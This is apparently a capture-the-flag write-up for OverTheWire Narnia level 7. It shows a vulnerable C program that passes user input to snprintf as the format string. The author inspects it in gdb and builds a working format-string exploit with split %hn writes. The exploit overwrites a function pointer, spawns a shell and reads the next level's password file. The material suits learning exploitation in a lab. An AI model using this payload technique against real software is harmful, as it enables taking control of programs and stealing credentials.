overthewire / narina

Level 7

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

int goodfunction();
int hackedfunction();

int vuln(const char *format){
        char buffer[128];
        int (*ptrf)();

        memset(buffer, 0, sizeof(buffer));
        printf("goodfunction() = %p\n", goodfunction);
        printf("hackedfunction() = %p\n\n", hackedfunction);

        ptrf = goodfunction;
        printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);

        printf("I guess you want to come to the hackedfunction...\n");
        sleep(2);
        ptrf = goodfunction;

        snprintf(buffer, sizeof buffer, format);

        return ptrf();
}

int main(int argc, char **argv){
        if (argc <= 1){
                fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
                exit(-1);
        }
        exit(vuln(argv[1]));
}

int goodfunction(){
        printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
        fflush(stdout);

        return 0;
}

int hackedfunction(){
        printf("Way to go!!!!");
        fflush(stdout);
        system("/bin/sh");

        return 0;
}

It looks like the aim is to overwrite what ptrf points to.

narnia7@narnia:/narnia$ ./narnia7
Usage: ./narnia7 <buffer>
narnia7@narnia:/narnia$ ./narnia7 a
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd68c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

Looking at the source code, the only argument we pass in is format - which gets passed in to snprintf. Let’s see this in more details.

narnia7@narnia:/narnia$ gdb -q narnia7
Reading symbols from narnia7...(no debugging symbols found)...done.
(gdb) break vuln
Breakpoint 1 at 0x80485d6
(gdb) r 'DDDD%x.%x.%x.%x.%x.%x.%x'
Starting program: /narnia/narnia7 'DDDD%x.%x.%x.%x.%x.%x.%x'

Breakpoint 1, 0x080485d6 in vuln ()
(gdb) set disassembly-flavor intel
(gdb) disass vuln
Dump of assembler code for function vuln:
   0x080485cd <+0>:     push   ebp
   0x080485ce <+1>:     mov    ebp,esp
   0x080485d0 <+3>:     sub    esp,0xa8
=> 0x080485d6 <+9>:     mov    DWORD PTR [esp+0x8],0x80
   0x080485de <+17>:    mov    DWORD PTR [esp+0x4],0x0
   0x080485e6 <+25>:    lea    eax,[ebp-0x88]
   0x080485ec <+31>:    mov    DWORD PTR [esp],eax
   0x080485ef <+34>:    call   0x80484b0 <memset@plt>
   0x080485f4 <+39>:    mov    DWORD PTR [esp+0x4],0x80486e0
   0x080485fc <+47>:    mov    DWORD PTR [esp],0x80487d0
   0x08048603 <+54>:    call   0x8048420 <printf@plt>
   0x08048608 <+59>:    mov    DWORD PTR [esp+0x4],0x8048706
   0x08048610 <+67>:    mov    DWORD PTR [esp],0x80487e5
   0x08048617 <+74>:    call   0x8048420 <printf@plt>
   0x0804861c <+79>:    mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048626 <+89>:    mov    eax,DWORD PTR [ebp-0x8c]
   0x0804862c <+95>:    lea    edx,[ebp-0x8c]
   0x08048632 <+101>:   mov    DWORD PTR [esp+0x8],edx
   0x08048636 <+105>:   mov    DWORD PTR [esp+0x4],eax
   0x0804863a <+109>:   mov    DWORD PTR [esp],0x80487fd
   0x08048641 <+116>:   call   0x8048420 <printf@plt>
   0x08048646 <+121>:   mov    DWORD PTR [esp],0x8048818
   0x0804864d <+128>:   call   0x8048450 <puts@plt>
   0x08048652 <+133>:   mov    DWORD PTR [esp],0x2
   0x08048659 <+140>:   call   0x8048440 <sleep@plt>
   0x0804865e <+145>:   mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048668 <+155>:   mov    eax,DWORD PTR [ebp+0x8]
   0x0804866b <+158>:   mov    DWORD PTR [esp+0x8],eax
   0x0804866f <+162>:   mov    DWORD PTR [esp+0x4],0x80
   0x08048677 <+170>:   lea    eax,[ebp-0x88]
   0x0804867d <+176>:   mov    DWORD PTR [esp],eax
   0x08048680 <+179>:   call   0x80484c0 <snprintf@plt>
   0x08048685 <+184>:   mov    eax,DWORD PTR [ebp-0x8c]
   0x0804868b <+190>:   call   eax
   0x0804868d <+192>:   leave
   0x0804868e <+193>:   ret
End of assembler dump.
(gdb) b *0x08048680
Breakpoint 2 at 0x8048680
(gdb) n
Single stepping until exit from function vuln,
which has no line number information.
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...

Breakpoint 2, 0x08048680 in vuln ()
(gdb) x/20wx $esp
0xffffd650:     0xffffd670      0x00000080      0xffffd8e4      0x08048238
0xffffd660:     0xffffd6c8      0xf7ffda94      0x00000000      0x080486e0
0xffffd670:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd680:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd690:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/x 0x080486e0
0x80486e0 <goodfunction>:       0x55
(gdb) x/x *hackedfunction
0x8048706 <hackedfunction>:     0x55
(gdb) x/4wx $esp
0xffffd650:     0xffffd670      0x00000080      0xffffd8e4      0x08048238
(gdb) x/s 0xffffd8e4
0xffffd8e4:     "DDDD%x.%x.%x.%x.%x.%x.%x"
(gdb) p 0x00000080
$3 = 128

Before the call to snprintf we can see the arguments being placed on the stack. We’ll want to, somehow, overwrite $ebp-0x8c.

0x08048685 <+184>:   mov    eax,DWORD PTR [ebp-0x8c]
0x0804868b <+190>:   call   eax
(gdb) p/x $ebp-0x8c
$4 = 0xffffd66c
(gdb) ni
0x08048685 in vuln ()
(gdb) x/4wx $esp
0xffffd650:     0xffffd670      0x00000080      0xffffd8e4      0x08048238
(gdb) x/s 0xffffd670
0xffffd670:     "DDDD8048238.ffffd6c8.f7ffda94.0.80486e0.44444444.38343038"
(gdb) x/x *0xffffd66c
0x80486e0 <goodfunction>:       0x55

We can overwrite the contents of 0xDDDD (a placeholder) by picking up the 5th argument off the stack. In a nutshell, we’ll want to replace 0xDDDD with the address of ptr (0xffffd66c) - and the value should be 0x08048706 - the address of hackedfunction.

There are a number of ways to go about doing that but the simplest is, I’m told, is to split the write into two halves using the $hn modifier. We’d usually write the lower half first (0x8706) but because higher one is less (0x0804), we have to do it the other way around (as the second write cannot have ‘less bytes’ written than the first).

The format string will look like this: <0xffffd66c+2:higher><0xffffd66c:lower><0x08040-8 bytes for higher address><half write><0x8706-0x0802 bytes for lower address><half write>

(gdb) p 0x0804-8
$2 = 2044
(gdb) p 0x8706-0x0804
$3 = 32514
(gdb) r $(python -c 'print "DDDDEEEE%.x%.x%.x%.x%.x%.x%.x"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "DDDDEEEE%.x%.x%.x%.x%.x%.x%.x"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) x/s 0xffffd660
0xffffd660:     "DDDDEEEE8048238ffffd6b8f7ffda9480486e04444444445454545"

We now have our byte counts ready, and we know where both addresses will be positioned on the stack - in the 6th and 7th position respectively.

(gdb) r $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) x/x 0xffffd660
0xffffd660:     0x6e
(gdb) x/x *0xffffd660
0xffffd66e:     0x04
(gdb) r $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /narnia/narnia7 $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd65c)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048680 in vuln ()
(gdb) ni
0x08048685 in vuln ()
(gdb) c
Continuing.
Way to go!!!!$

Cool! We can now replicate this outside of gdb:

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x5e\xd6\xff\xff\x5c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..

The memory location for ptrf has changed - let’s update that quickly:

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print "\x6e\xd6\xff\xff\x6c\xd6\xff\xff%.2044x%6$hn%.32514x%7$hn"')
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd66c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ cat /etc/narnia_pass/narnia8
*** password ***